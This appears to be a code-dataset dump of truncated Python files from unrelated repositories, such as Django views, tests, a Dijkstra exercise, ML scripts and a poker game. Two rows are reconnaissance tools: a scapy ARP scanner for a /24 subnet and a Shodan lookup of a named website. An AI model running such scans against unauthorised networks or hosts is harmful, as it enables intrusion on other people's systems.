seq_id stringlengths 4 11 | text stringlengths 113 2.92M | repo_name stringlengths 4 125 ⌀ | sub_path stringlengths 3 214 | file_name stringlengths 3 160 | file_ext stringclasses 18
values | file_size_in_byte int64 113 2.92M | program_lang stringclasses 1
value | lang stringclasses 93
values | doc_type stringclasses 1
value | stars int64 0 179k ⌀ | dataset stringclasses 3
values | pt stringclasses 78
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
34564583000 | import logging
import os
from datetime import date
from pathlib import Path
from ._version import get_versions
from .watchdog import Watchdog
# Environment variables and if they are required
ENVIRONMENT_VARS = {
"TZ": False,
"INFLUXDB_HOST": False,
"INFLUXDB_PORT": False,
"INFLUXDB_DATABASE": False,
... | afonsoc12/intrusion-monitor | intrusion_monitor/__init__.py | __init__.py | py | 5,669 | python | en | code | 2 | github-code | 36 |
10351048342 |
class Vertex: #reprezentuje vrchol v grafu
def __init__(self, id, name):
self.id = id #numerický identifikátor vrcholu (int)
self.name = name #jméno vrcholu (String)
self.minDistance = float('inf') #deafaultne infinity
self.previousVertex = None
... | Hajneken/Python-excercises- | HW9_Dijkstra.py | HW9_Dijkstra.py | py | 3,440 | python | en | code | 0 | github-code | 36 |
7086566402 | from django.shortcuts import render,redirect
from adm.models import *
def ViewInicio(request):
listJogos = Jogo.objects.select_related('Vencedora','Perdedora').all()
context = {
"listJogos":listJogos,
}
return render(request,"inicio.html",context)
def ViewCadastro(request):
if request.me... | michel110299/Administrador_tranca | adm/views.py | views.py | py | 7,068 | python | pt | code | 0 | github-code | 36 |
74752046504 | from lxml import etree
import unittest
from unittest.mock import MagicMock, patch
from lib.parsers.parseOCLC import readFromClassify, loadEditions, extractAndAppendEditions
from lib.dataModel import WorkRecord
from lib.outputManager import OutputManager
class TestOCLCParse(unittest.TestCase):
@patch.object(Outpu... | NYPL/sfr-ingest-pipeline | lambda/sfr-oclc-classify/tests/test_parseOCLC.py | test_parseOCLC.py | py | 1,821 | python | en | code | 1 | github-code | 36 |
34124762528 | """
this program is a simulation of the inner planets of our solar system (namely the sun, Mercury,
Venus, Earth and Mars). The planets are objects of the class Planet which enables this class (solarSystemAnimation)
to animate them. The information of the planets can be found in the file PropertiesPlanets.
"""
i... | Platiniom64/OrbitalMotionSimulation | OrbitalMotion.py | OrbitalMotion.py | py | 11,622 | python | en | code | 0 | github-code | 36 |
40983404414 | """new fileds are added user
Revision ID: 7758fd2f291e
Revises: 5444eea98e3f
Create Date: 2019-05-03 01:12:53.120773
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '7758fd2f291e'
down_revision = '5444eea98e3f'
branch_labels = None
depends_on = None
def upgra... | ShashwatMishra/Mini-Facebook | Mini Facebook/migrations/versions/7758fd2f291e_new_fileds_are_added_user.py | 7758fd2f291e_new_fileds_are_added_user.py | py | 911 | python | en | code | 1 | github-code | 36 |
40057143195 | #!/usr/bin/env python3
import scapy.all as scapy
import argparse
from datetime import datetime
import sys
def ip():
parse = argparse.ArgumentParser()
parse.add_argument("-ip", dest="ip", help="Needs IP range /24")
parse.add_argument("-i", dest="interface", help='Needs interface')
parse.add_... | WMDA/ctf | tools/python_scripts/network_scanner.py | network_scanner.py | py | 1,853 | python | en | code | 1 | github-code | 36 |
24678905467 | class Poker:
from Trump import Trump as trump
def is_int(n):
try:
int(n)
return True
except ValueError:
return False
def error_check(s):
if len(s) > 5:
message = "ハンドは5枚です。"
elif len(s) != len(set(s)):
... | 193-M/Trump-game | Poker.py | Poker.py | py | 9,206 | python | en | code | 0 | github-code | 36 |
29291642217 | import numpy as np
import statsmodels.api as sm
import pandas as pd
alpha = 0.05
df = pd.read_excel("4_6.xlsx", header=None)
y = df.values # 提取数据矩阵
y = y.flatten()
a = np.array(range(1, 8))
x = np.tile(a, (1, 10)).flatten()
d = {'x': x, 'y': y} # 构造字典
model = sm.formula.ols("y~C(x)", d).fit() # 构建模型
anovat = sm.sta... | BattleforAzeroth/MMHomework | 4.6.py | 4.6.py | py | 565 | python | en | code | 0 | github-code | 36 |
38055178106 | import numpy as np
from tensorflow import keras
from src.util.load_review import return_tensored_review
#cutoff value for the sentiment
cutoff = 0.5
#loading movie review
movie_review = return_tensored_review("pale_blue_eyes.txt")
#loading the saved model
model = keras.models.load_model("src/saved_model")
predicti... | Weierstrash/review_sentiment_analysis | main.py | main.py | py | 467 | python | en | code | 0 | github-code | 36 |
41662398078 | import pandas as pd
import numpy as np
import os
PATH = 'data/movielens/'
TRAINFILE = PATH + 'train.csv'
TESTFILE = PATH + 'test.csv'
VALIDFILE = PATH + 'val.csv'
MAPFILE=PATH+'item2id.map'
def get_item():
train = pd.read_csv(TRAINFILE, sep='\t')
valid = pd.read_csv(VALIDFILE, sep='\t')
test ... | TraceIvan/RCNN_for_Recommendation | utils.py | utils.py | py | 2,245 | python | en | code | 5 | github-code | 36 |
12803394908 | import urllib2
import json
headers = {'Content-Type': 'application/json; charset=utf-8'}
XXX_HOST = "http://xxx.xxx.com/xxx-app/"
# post请求，json格式数据
def post_json(url, header, request_data):
req = urllib2.Request(url, request_data, header)
page = urllib2.urlopen(req)
res = page.read()
page.close()
... | AldrichYang/HelloPython2 | src/http/http_helper.py | http_helper.py | py | 690 | python | en | code | 0 | github-code | 36 |
39479105306 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.core.management.base import BaseCommand, CommandError
from cards.search import searchservice
from cards.models import Card, BaseCard
from cards.models import PhysicalCard
import json
from django.utils import dateparse
import codecs
import s... | jcrickmer/mtgdbpy | cards/management/commands/reindex_es.py | reindex_es.py | py | 5,648 | python | en | code | 0 | github-code | 36 |
42883327134 | class Solution:
def findWinners(self, matches):
ans = [[],[]]
games = {}
for game in matches:
if not (game[0] in games): games[game[0]] = 0
if game[1] in games:
games[game[1]] += 1
continue
else: games[game[1]] = 1
f... | pablorenato1/leetcode-problems | Medium/Find-Players-With-Zero-or-One-Losses.py | Find-Players-With-Zero-or-One-Losses.py | py | 684 | python | en | code | 0 | github-code | 36 |
40587003321 | from django.contrib.auth.base_user import AbstractBaseUser
from django.contrib.auth.decorators import login_required
from django.http import (HttpRequest, HttpResponse, HttpResponseNotFound,
HttpResponseRedirect)
from django.shortcuts import redirect, render
from django.urls import reverse_lazy... | Xewus/Examiner | src/questions/views.py | views.py | py | 4,430 | python | ru | code | 0 | github-code | 36 |
31635729829 | import os
import torch
import torchvision
import random
import pandas as pd
import numpy as np
import torch.nn as nn
import matplotlib.pyplot as plt
from PIL import Image
import cv2
import torch.nn.functional as F
import torchvision.transforms as transforms
import torchvision.models as models
from torc... | a20815579/cat_face_detection | cat_CNN.py | cat_CNN.py | py | 13,278 | python | en | code | 1 | github-code | 36 |
31298538173 | def solution(relation):
column = len(relation[0])
row = len(relation)
candidateKey = []
for case in range(1, 2**column):
minimality = True
uniqueness = True
hashmap = {}
for key in candidateKey:
if key & case == key:
minimality = False
... | shwjdgh34/algorithms-python | codingTest/2019kakao/후보키.py | 후보키.py | py | 1,122 | python | en | code | 2 | github-code | 36 |
39472235141 | import json
from flask import request, jsonify
from flask_restful import Resource
from werkzeug.exceptions import BadRequest
from managers.brand import BrandManager
from models import RoleType
from models.products import *
from schemas.request.brand import CreateBrandRequestSchema, EditBrandRequestSchema
from schemas... | a-angeliev/Shoecommerce | server/resources/brand.py | brand.py | py | 2,486 | python | en | code | 0 | github-code | 36 |
11371604753 | import logging
from sklearn.metrics import accuracy_score
from pytorch_tabular import TabularModel
from pytorch_tabular.config import DataConfig, OptimizerConfig, TrainerConfig
from ml.solvers.base_solver import Solver
class PytorchTabularSolver(Solver):
def init_model(self):
super(PytorchTabularSolver,... | gregiberri/coupon | ml/solvers/pytorch_tabular_solver.py | pytorch_tabular_solver.py | py | 2,165 | python | en | code | 0 | github-code | 36 |
36211707503 | #file a transaction
#any changes to the users balanace should be reflected in the account file
import datetime
def transaction_options(accounts_path, line_number):
stay_logged_in = True
while stay_logged_in == True:
ask = input('Would you like to make a transaction, return to the homepage, or logout ... | 2105-may24-devops/fletcher-project0 | transaction_module.py | transaction_module.py | py | 3,661 | python | en | code | 0 | github-code | 36 |
8755383285 | # -*- coding: utf-8 -*-
import json
import logging
from datetime import datetime, date, timedelta
from odoo import api, fields, models
from odoo.addons.muk_dms.models import dms_base
logger = logging.getLogger('FOLLOW-UP')
AVAILABLE_PRIORITIES = [
('0', u'Normale'),
('1', u'Basse'),
('2', u'Haute'),
... | odof/openfire | of_followup/models/of_followup.py | of_followup.py | py | 70,070 | python | en | code | 3 | github-code | 36 |
38672578742 | import shodan
import requests
from shodan import Shodan
'''
api = Shodan('Insert_your_Shodan_Api_Key')
print(api.search(query='product:nginx', facets='country,org'))
'''
SHODAN_API_KEY = "Insert_your_Shodan_Api_Key"
api = shodan.Shodan(SHODAN_API_KEY)
target = 'www.packtpub.com'
dnsResolve = 'https://api.shodan.io/... | MuhammadAli947/shodanCode | ShodanScans.py | ShodanScans.py | py | 1,526 | python | en | code | 0 | github-code | 36 |
38650316304 | #%%
import pyautogui, pyperclip
Y = 550 # 507
X = 800 # 740
pyperclip.copy("직")
pyautogui.moveTo(x=X, y=Y, duration=0.001)
pyautogui.click(clicks=1)
pyautogui.hotkey("ctrl", "v")
pyperclip.copy("업")
pyautogui.moveTo(x=X, y=Y, duration=1)
pyautogui.click(clicks=1)
pyautogui.hotkey("ctrl", "v")
pypercli... | shetshield/src | stitching_img/pymacro.py | pymacro.py | py | 1,353 | python | en | code | 0 | github-code | 36 |
38313990919 | from flask import flash
from flask_app.config.mysqlconnection import connectToMySQL
from flask_app.models import user
from flask_app.models import message
class Event:
db = "plannendar_schema"
def __init__(self, data):
self.id = data['id']
self.event = data['event']
self.description =... | rchuu/plannendar | flask_app/models/event.py | event.py | py | 5,351 | python | en | code | 0 | github-code | 36 |
39524154736 | def zero_matrix(row, colons):
out = [([0] * row) for i in range(colons)]
return out
# test matrix
a = [[1, 2], [3, 4]]
b = [[5, 6], [7, 8]]
def add_matrix(vec_a, vec_b):
out = zero_matrix(len(a[0]), len(a))
for i in range(len(a)):
for j in range(len(a[0])):
out[i][j] = a[i][j] + b... | Viachkov/Tutor_ML | test2.py | test2.py | py | 1,051 | python | en | code | 0 | github-code | 36 |
26419037040 | import datetime
from functools import wraps
from django.http import HttpResponseRedirect
from django.urls import reverse
from django.utils import timezone
def authentication_required(function=None):
def decorator(view_func):
@wraps(view_func)
def _wrapped_view(request, *args, **kwargs):
... | qiuosier/Pisces | decorators.py | decorators.py | py | 1,068 | python | en | code | 0 | github-code | 36 |
3270527178 | """
Model implementation.
"""
from helper import cache_func, INIT_METHODS
import tensorflow as tf
class CNNModel:
"""
CNN model implementation. Covers the implementations for both the large and the
compact network.
"""
def __init__(self, data, target, model_params, data_params):
self.data ... | Oguzhanka/face_attractiveness | models/cnn_model.py | cnn_model.py | py | 13,191 | python | en | code | 0 | github-code | 36 |
7416408824 | import pywt
import numpy as np
from scipy import stats
import matplotlib.pyplot as plt
plt.style.use("resources/figstyle.mplstyle")
FIG_WIDTH = 2.3 * 7.16
# Gaussian fitting utils
from scipy import optimize
def fit_generalized_gaussian(x):
μ0 = x.mean()
σ0 = x.std()
β0 = 2
res = optimize.minimiz... | mattbit/wavelet-wqn-acha | acha_scripts/02_figure_2__coeff_distributions.py | 02_figure_2__coeff_distributions.py | py | 4,260 | python | en | code | 2 | github-code | 36 |
35217860162 | from itertools import product
import sys
from bs4 import BeautifulSoup
from selenium import webdriver
import time
import json
import random
sys.path.append('../..')
from lib import excelUtils
from lib import httpUtils
from lib import textUtil
from lib.htmlEleUtils import getNodeText
from lib.htmlEleUtils import getInn... | Just-Doing/python-caiji | src/work/20230205/parchem.py | parchem.py | py | 2,568 | python | en | code | 1 | github-code | 36 |
12410410025 | """
Update existing "embargo_approved_no_user" logs to link to registered project instead
of the registration.
"""
from copy import deepcopy
import logging
import sys
from modularodm import Q
from framework.transactions.context import TokuTransaction
from website.models import Node, NodeLog
from website.app import i... | karenhanson/osf.io_rmap_integration_old | scripts/fix_embargo_approved_logs.py | fix_embargo_approved_logs.py | py | 1,458 | python | en | code | 0 | github-code | 36 |
10246834959 | import os
import argparse
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Some hyperparameters')
parser.add_argument('--epochs', type=int, default=200)
parser.add_argument('--frac', type=float, default=0.1)
... | jinwoolim8180/fl-sparse-masking | accuracy.py | accuracy.py | py | 3,163 | python | en | code | 0 | github-code | 36 |
69997777065 | from re import split
from typing import Dict, Mapping
from elasticsearch import Elasticsearch
import cbor
import json
from trec_car.read_data import *
class IndexManagement:
def __init__(self):
self.es_cli = Elasticsearch(
timeout=200, max_retries=15, retry_on_timeout=True)
self.es_cli... | Hanifff/ConversationalAssistance | index_data.py | index_data.py | py | 3,917 | python | en | code | 0 | github-code | 36 |
216572710 | import time
def measure(f):
t0 = time.time()
result = f()
duration = time.time() - t0
return duration, result
def show_duration(duration):
if duration < 1:
return '%.2fms' % (duration * 1e3)
if duration < 60:
return '%.2fs' % duration
sec = int(duration)
mm, ss = sec ... | kungfu-team/kungfu-mindspore | debug/mindspore_debug/__init__.py | __init__.py | py | 614 | python | en | code | 0 | github-code | 36 |
30793302432 | import cv2
import numpy as np
cap = cv2.VideoCapture(0)
# size = (600, 200, 3) # Указываем желаемый размер окна (высоту, ширину, число каналов)
while True:
ret, frame = cap.read() # ret - успешность захвата кадра. Если кадр был успешно захвачен, ret будет равен True. В противном случае, если что-то пошло не так и... | SeVaSe/Open_CV_test_vision | cameras&videocapture.py | cameras&videocapture.py | py | 1,671 | python | ru | code | 0 | github-code | 36 |
42307266488 | # s = "applepenapple", wordDict = ["apple", "pen"]
# 输入: s = "catsandog", wordDict = ["cats", "dog", "sand", "and", "cat"]
# 输出: false
s = "applepenapple"
wordDict = ["apple", "pen"]
s2 = "catsandog"
wordDict2 = ["cats", "dog", "sand", "and", "cat"]
def isComposed(s,wordDict):
wordDict = set(wordDict)
maxLen... | jing-ge/Jing-leetcode | offer/2.py | 2.py | py | 758 | python | en | code | 0 | github-code | 36 |
37393448771 | # Dependencies
import json
# Get influencer criteria from config.json file
config_file = open('config.json')
config = json.load(config_file)
influencer = config['influencer']
def is_influencer(tweet):
""" Determines if an user who tweeted a tweet is an influencer """
rts = tweet['retweet_count']
fav = tweet['... | janielMartell/twitter-influencer-scraper | utils.py | utils.py | py | 860 | python | en | code | 0 | github-code | 36 |
31566863140 | import sys
import csv
# preprocessing
import gensim
from gensim.utils import simple_preprocess
import re
import nltk
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize
# lemmitization
from nltk.stem import WordNetLemmatizer
def pre_processor():
user_input = input('Please enter a dream... | connormeaton/dream_cluster | src/app/SampleTextPreprocessor.py | SampleTextPreprocessor.py | py | 1,906 | python | en | code | 1 | github-code | 36 |
12185526029 | """Inference for 2D US Echocardiography EchoNet dataset."""
import os
import numpy as np
import torch
import torchvision.transforms as transforms
import torch.nn.functional as F
from PIL import Image
from torch.autograd import Variable
import matplotlib.pyplot as plt
from models.unet import UNet
from models.cenet impo... | SanoScience/TTTS_CV | src/inference.py | inference.py | py | 2,235 | python | en | code | 0 | github-code | 36 |
74506400423 | from rest_framework import serializers
from onbici.bike.serializers import BikeSerializer
from onbici.bike.models import Bike
from onbici.station.models import Station
from .models import Slot
class SlotSerializer(serializers.ModelSerializer):
bike = BikeSerializer(required=False)
class Meta:
model =... | jubelltols/React_DRF_MySql | DRF/src/onbici/slot/serializers.py | serializers.py | py | 2,029 | python | en | code | 0 | github-code | 36 |
26859540681 | # -*- coding: utf-8 -*-
'''
Created on 9 janv. 2019
@author: Nicolas MEO
'''
from Plateforme.Adafruit_PWM_Servo_Driver import PWM
import time
# Definition des constantes de positions des servo-controller
CONST_TRUE_PL1 = 355
CONST_TRUE_PL2 = 120
CONST_TRUE_PL3 = 140
CONST_TRUE_PL4 = 225
CONST_TRUE_PL5 = 125
CONST_TR... | Lancey139/GamificationDevOps | Plateforme/Servo_Controller.py | Servo_Controller.py | py | 5,382 | python | en | code | 0 | github-code | 36 |
33532112483 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
A script to test if the associations.csv are good.
Typically you would run this file from a command line like this:
ipython3.exe -i -- /deploy/cbmcfs3_runner/scripts/check_associations.py
"""
# Built-in modules #
# Third party modules #
import pandas
from tqd... | xapple/cbmcfs3_runner | scripts/associations/check_associations.py | check_associations.py | py | 4,628 | python | en | code | 2 | github-code | 36 |
20240238686 | class Solution:
def numDecodings(self, s: str) -> int:
# list: s[i]
# メモするべきもの: その単語の長さまでの組み合わせの数
# 考慮するべきもの: 0は単体で使用できない（10, 20として使用するしかない）
# arr = list(s)
# if arr[0] == "0":
# return 0
# # そこまでに格納できる組み合わせのtotal
# dp = [0] * (len(arr))
# ... | sugitata/leetCode | dp/decode_ways.py | decode_ways.py | py | 1,605 | python | ja | code | 0 | github-code | 36 |
39804183733 | import os
from celery import Celery
# Set the default Django settings module for the 'celery' program.
# similar to the setup in asgi.py
# os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'prolube76site.settings')
app = Celery('prolube76site')
# Using a string here means the worker doesn't have to serialize
# the co... | zjgcainiao/new_place_at_76 | prolube76site/celery.py | celery.py | py | 952 | python | en | code | 0 | github-code | 36 |
74876500585 | t=int(input())
while(t):
t-=1
n,m=list(map(int,input().split()))
a=input().split()
for i in a:
i=list(i)
#print(a)
count=0
for i in range(1,n):
if(len(set(a[i])&(set(a[i-1])))==0):
count+=1
if(count<=m):
print("Welcome to a world without r... | anirudhkannanvp/CODECHEF | Shaastra Online Programming Contest 2018/Let us put a smile on that face-- OPC1701.py | Let us put a smile on that face-- OPC1701.py | py | 382 | python | en | code | 0 | github-code | 36 |
23670018346 | guess = input('Digite numeros naturais separados por virgula: ')
formated = guess.split(",")
add = 0
for number in formated:
if not number.isdigit():
print(f"Erro ao somar valores, {number} é um valor inválido”")
else:
add += int(number)
print(f"A soma dos valores válidos é: {add}")
| Andreyrvs/trybe-exercicios | T20A-Ciencia-da-Computacao/sessao-01-Introducao-a-Python/dia-02-Entrada-e-Saida-de-Dados/para-fixar/exercicio-02.py | exercicio-02.py | py | 318 | python | pt | code | 0 | github-code | 36 |
71788582503 | # TAGS: input(), end=' '
# () <-- parenthesis
age = input("How old are you? ") # you can put what you wanna ask inside ()
height = input("How tall are you? ")
weight = input("How much do you weigh? ")
print(f"So you're {age} old, {height} tall and {weight} heavy.")
#print("How old are you? ", input(... | jakszewa/Python-Notes | lpthw/ex12.py | ex12.py | py | 424 | python | en | code | 1 | github-code | 36 |
19348729652 | from app import app
from flask import request, jsonify, make_response
from api_exception import ApiException
from data.internal_configurations.internal_configurations import InternalConfigurations
@app.errorhandler(ApiException)
def handle_invalid_service(error):
response = jsonify(error.to_dict())
response.s... | mbast100/st-joseph-backend-services | routes/internal_configurations.py | internal_configurations.py | py | 1,885 | python | en | code | 1 | github-code | 36 |
26531156238 | #!/usr/bin/env python
import rclpy
from rclpy.node import Node
from std_msgs.msg import String
class DebugNode(Node):
def __init__(self):
super().__init__("debug_node")
self.robot_mode_subs = self.create_subscription(String, "/robot_mode", self.callback_robot_mode_subs, 1)
self.go_to... | gautamr0312/Obstacle-Avoidance-and-Waypoint-Navigation | Obstacle Avoidance and Waypoint Navigation/hr13_navigate_to_goal/hr13_navigate_to_goal/debug_node.py | debug_node.py | py | 1,205 | python | en | code | 0 | github-code | 36 |
16721355609 | import torch
import torch.nn.functional as F
from torch.distributions import Normal
from torch.utils.data.sampler import BatchSampler, SubsetRandomSampler
from torch.nn.utils import clip_grad_norm_
from PPO_Continuous.version2.Network import Actor, Critic
class PPO(object):
def __init__(self,
st... | zhihangmuzi/deep-reinforcement-learning-with-pytorch | PPO_Continuous/version2/Agent.py | Agent.py | py | 3,981 | python | en | code | 0 | github-code | 36 |
70597091303 | from mpio import LED
import time
from mpio import GPIO
import mpio
#Press the user push button for LED's to trigger
def main():
red = LED("red")
green = LED("green")
blue = LED("blue")
pin_out=GPIO(84,GPIO.OUT)
pin_out.set(False)
while(True):
print("Please Press The User ... | epsilon1234/SAMA-5D-I-O-Triggering | output_trigger.py | output_trigger.py | py | 1,375 | python | en | code | 0 | github-code | 36 |
37248697117 | # Importing libraries and modules
from tkinter import *
from PIL import ImageTk, Image
import time
from tkinter import messagebox
from tkinter.filedialog import askopenfilename
# Start of GUI
root = Tk()
root.title("A-Star Grid World")
# Grid Initialization
# Ask the user if he wants to load a pre-deined world map
... | abhianshi/DynamicPathPlanning | src/AStarGUI.py | AStarGUI.py | py | 8,336 | python | en | code | 1 | github-code | 36 |
8491596435 |
class Student:
def __init__(self, name, major, gpa, is_on_probation):
self.name = name
self.major = major
self.gpa = gpa
self.is_on_probation = is_on_probation
'''
We created this student class here in this file.
If we are in another file/program, we an import this class, a... | ncterry/Python | CLASSES MAIN/class_Student.py | class_Student.py | py | 397 | python | en | code | 0 | github-code | 36 |
72640625383 | """
Project: SSITH CyberPhysical Demonstrator
health.py
Author: Ethan Lew <elew@galois.com>
Date: 08/23/2021
Python 3.8.3
O/S: Windows 10
Component Health Monitoring Objects and Components
"""
import threading
import abc
import collections
import re
import requests
import typing
import struct
import socket
import time... | GaloisInc/BESSPIN-Tool-Suite | besspin/cyberPhys/cyberphyslib/cyberphyslib/demonstrator/healthmonitor.py | healthmonitor.py | py | 11,624 | python | en | code | 5 | github-code | 36 |
25969594435 | """
Given an array A of integers, return true if and only if it is a valid mountain array.
Recall that A is a mountain array if and only if:
A.length >= 3
There exists some i with 0 < i < A.length - 1 such that:
A[0] < A[1] < ... A[i-1] < A[i]
A[i] > A[i+1] > ... > A[B.length - 1]
Example 1:
Input: [2,1]
Output: f... | wqh872081365/leetcode | Python/941_Valid_Mountain_Array.py | 941_Valid_Mountain_Array.py | py | 939 | python | en | code | 0 | github-code | 36 |
12259799552 | from PySide2 import QtWidgets
import ui.devicesDialog_ui
import input.audio
class form(QtWidgets.QDialog, ui.devicesDialog_ui.Ui_Dialog):
def __init__(self):
super(form, self).__init__()
self.setupUi(self) #setup user interface
self.currentDevice = 0 #set default device
self.butto... | HamerKits/RoscoeQRSSViewer | devicesDialog.py | devicesDialog.py | py | 948 | python | en | code | 0 | github-code | 36 |
71578985703 | #!/usr/bin/env python
import vtk
def main():
pd_fn, scene_fn = get_program_parameters()
colors = vtk.vtkNamedColors()
polyData = ReadPolyData(pd_fn)
mapper = vtk.vtkPolyDataMapper()
mapper.SetInputData(polyData)
actor = vtk.vtkActor()
actor.SetMapper(mapper)
actor.GetProperty().Set... | lorensen/VTKExamples | src/Python/Utilities/SaveSceneToFile.py | SaveSceneToFile.py | py | 5,409 | python | en | code | 319 | github-code | 36 |
24347527125 | # ：參閱5-17頁
import os
from os import path
import platform
def pyTube_folder():
sys = platform.system()
home = path.expanduser('~')
if sys == 'Windows':
folder = path.join(home, 'Videos', 'PyTube')
elif sys == 'Darwin':
folder = path.join(home, 'Movies', 'PyTube')
... | theoyu13/python3 | python程式設計入門/F9796/ch05/ch5_2.py | ch5_2.py | py | 473 | python | en | code | 0 | github-code | 36 |
21848108182 | import numpy as np
from sklearn.externals.joblib import Parallel, delayed
from multiprocessing import cpu_count
def apply_parallel_joblib(func, data, *args, chunk=None, overlap=10,
n_jobs=None, **kwargs):
"""
Apply a function in parallel to overlapping chunks of an array
Parameters
----------
... | emmanuelle/skimage-sprint | chunk_joblib.py | chunk_joblib.py | py | 1,921 | python | en | code | 0 | github-code | 36 |
30523769752 | #设立一个哨兵
#为负数的哨兵
#虽然可行,但是不是最好的,因为不能累加负数了...
#改进的版本看Average4
def main():
sum = 0.0
count=0
x = eval(input("Enter a number (negative to quit)>> "))
while x>=0:
sum+=x
count += 1
x=eval(input("Enter a number (negative to quit)>> "))
print("\n The average of the numbers is",sum/... | ZTYZZ/learnPython | Average3.py | Average3.py | py | 411 | python | en | code | 0 | github-code | 36 |
33377706423 | import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
eps = 1e-7
class SCELoss(nn.Module):
def __init__(self, num_classes=10, a=1, b=1):
super(SCELoss, self).__init__()
self.num_classes = num_classes
self.a = a
self.b = b
self.cross_entropy ... | hitcszx/lnl_sr | losses.py | losses.py | py | 10,369 | python | en | code | 42 | github-code | 36 |
30003125789 | memo = set()
def get_first_lowercase(a):
for i, c in enumerate(a):
if c == c.lower():
return i
return -1
def solve(a, b):
global memo
if f"{a}{b}" in memo:
return False
memo.add(f"{a}{b}")
i = get_first_lowercase(a)
if (i == -1 and a != b) or len(a) < len(b) o... | dimgatz98/coding_challenges | hackerrank/abbreviation/abbreviation.py | abbreviation.py | py | 752 | python | en | code | 0 | github-code | 36 |
24396409804 | import logging
logger = logging.getLogger(__name__)
def do_something():
logger.debug(
'Detailed information, typically of interest only when diagnosing problems.')
logger.info('Confirmation that things are working as expected.')
logger.warning(
'An indication that something unexpected hap... | jmhart/python-template | src/stuff/thing.py | thing.py | py | 656 | python | en | code | 0 | github-code | 36 |
13425691279 | ### Unzip the Dataset
# importing the zipfile module
from zipfile import ZipFile
import pandas as pd
import random
# loading the temp.zip and creating a zip object
with ZipFile("./resources/Sentences_from_Stormfront_dataset.zip", 'r') as zip_oject:
# Extracting all the members of the zip
# into a specific loc... | Speymanhs/SemEval_2023_Task_11_Lonea | reading_dataset_stormfront.py | reading_dataset_stormfront.py | py | 1,887 | python | en | code | 0 | github-code | 36 |
17093960893 | #!/usr/bin/env python
from __future__ import print_function
import sys
data = ''
for line in open(sys.argv[1], 'r'):
if len(line.strip()) == 0:
# skip the label
lines = data.splitlines()
print('\n'.join(lines[1:]))
data = ''
else:
data += line
| Oneplus/learn2compose | scripts/yelp/remove_document_splitter_and_label.py | remove_document_splitter_and_label.py | py | 293 | python | en | code | 7 | github-code | 36 |
3479784873 | # This is the model definition of retrieval model.
from typing import List, Dict, Tuple, Text
import os
import tensorflow as tf
import tensorflow_recommenders as tfrs
import numpy as np
from . import dataset as ds, params
# Get unique query and candidate and timestamp.
unique_user_ids, unique_therapist_ids = ds.get_u... | thomiaditya/theia | theia/config/recommender/retrieval_definition.py | retrieval_definition.py | py | 6,028 | python | en | code | 0 | github-code | 36 |
8024464551 | """
Given an array of non-negative integers, you are initially positioned at the first index of the array.
Each element in the array represents your maximum jump length at that position.
Determine if you are able to reach the last index.
For example:
A = [2,3,1,1,4], return true.
A = [3,2,1,0,4], return false.
"""
... | cyandterry/Python-Study | Ninja/Leetcode/55_Jump_Game.py | 55_Jump_Game.py | py | 1,784 | python | en | code | 62 | github-code | 36 |
74430413223 | class PushingList(list):
""" При переполнении выталкивает первый элемент. Стандартная максимальная длинна 10 элементов. """
max_len = 10
def append(self, *args):
for arg in args:
super(PushingList, self).append(arg)
if self.__len__() > self.max_len:
self.pop(... | Apolliner/Field-Mini-Game | libraryNPC/classes.py | classes.py | py | 401 | python | ru | code | 0 | github-code | 36 |
33532139383 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
A script to convert the column names from CamelCase to snake_case.
Typically you would run this file from a command line like this:
ipython3.exe -i -- /deploy/cbmcfs3_runner/scripts/orig/convert_column_case.py
"""
# Built-in modules #
import os
# Third party ... | xapple/cbmcfs3_runner | scripts/orig/convert_column_case.py | convert_column_case.py | py | 7,647 | python | en | code | 2 | github-code | 36 |
4828779456 | import torch
from torch import nn
import pickle
from model import WideResNet
from autoattack import AutoAttack
from torch.utils.data import Dataset
from torch.utils.data import DataLoader
from torchvision import datasets, transforms, models
class ImageDataset(Dataset):
def __init__(self, file):
super().__i... | AmadeusloveIris/AutoAdversarialTraining | test.py | test.py | py | 2,316 | python | en | code | 0 | github-code | 36 |
12234497572 | import datetime
from typing import List
from sqlalchemy.orm import make_transient
from data_access.entities.person import Person
from data_access.entities.policy import Policy
from data_access.entities.policy_offer_template import PolicyOfferTemplate
from data_access.entities.policy_risk import PolicyRisk
from data_a... | bastyje/policyapp | python/src/services/policy_service.py | policy_service.py | py | 8,189 | python | en | code | 0 | github-code | 36 |
12487564602 | import filecmp
import subprocess
import pytest
from typer.testing import CliRunner
import erdantic as erd
from erdantic.cli import app, import_object_from_name
import erdantic.examples.dataclasses as examples_dataclasses
import erdantic.examples.pydantic as examples_pydantic
from erdantic.examples.pydantic import Par... | drivendataorg/erdantic | tests/test_cli.py | test_cli.py | py | 6,182 | python | en | code | 205 | github-code | 36 |
10208120572 | import socket
import threading
from collections import deque
from concurrent.futures import ThreadPoolExecutor
from jsock.protocol import Protocol
from jsock.message import MessageHeader, Message
from jsock.errors import Errors
from jsock.client import Client
from jsock.config import Config
PORT = 1337
LISTEN_NUM = 50... | jacobggman/python_black_jack_server | jsock/server.py | server.py | py | 7,368 | python | en | code | 0 | github-code | 36 |
35183490035 | import asyncio
import os
import oneai
from oneai import Input, Output
oneai.api_key = os.getenv("ONEAI_KEY")
async def split(filepath):
pipeline = oneai.Pipeline(
steps=[
oneai.skills.SplitByTopic(),
]
)
with open(filepath, 'r') as file_input:
output = await pipeline.... | clande/demo | oneai_splitbytopic_repro.py | oneai_splitbytopic_repro.py | py | 808 | python | en | code | 0 | github-code | 36 |
20604733756 | from sklearn import preprocessing
from pandas import read_csv
from sklearn.model_selection import train_test_split
from keras.layers import Dense
from keras.models import Sequential
from keras.optimizers import Adam
from sklearn.metrics import r2_score
from matplotlib import pyplot as plt
df = read_csv("C:\Code\RNASeq... | taytay191/RNAseqAnalysis | RNAseqFinal/model.py | model.py | py | 1,905 | python | en | code | 0 | github-code | 36 |
2063569811 | from functools import cache
from . import get_track_data, get_countries_charts
import pandas as pd
@cache
def get_basic_track_features():
tracks = get_track_data()
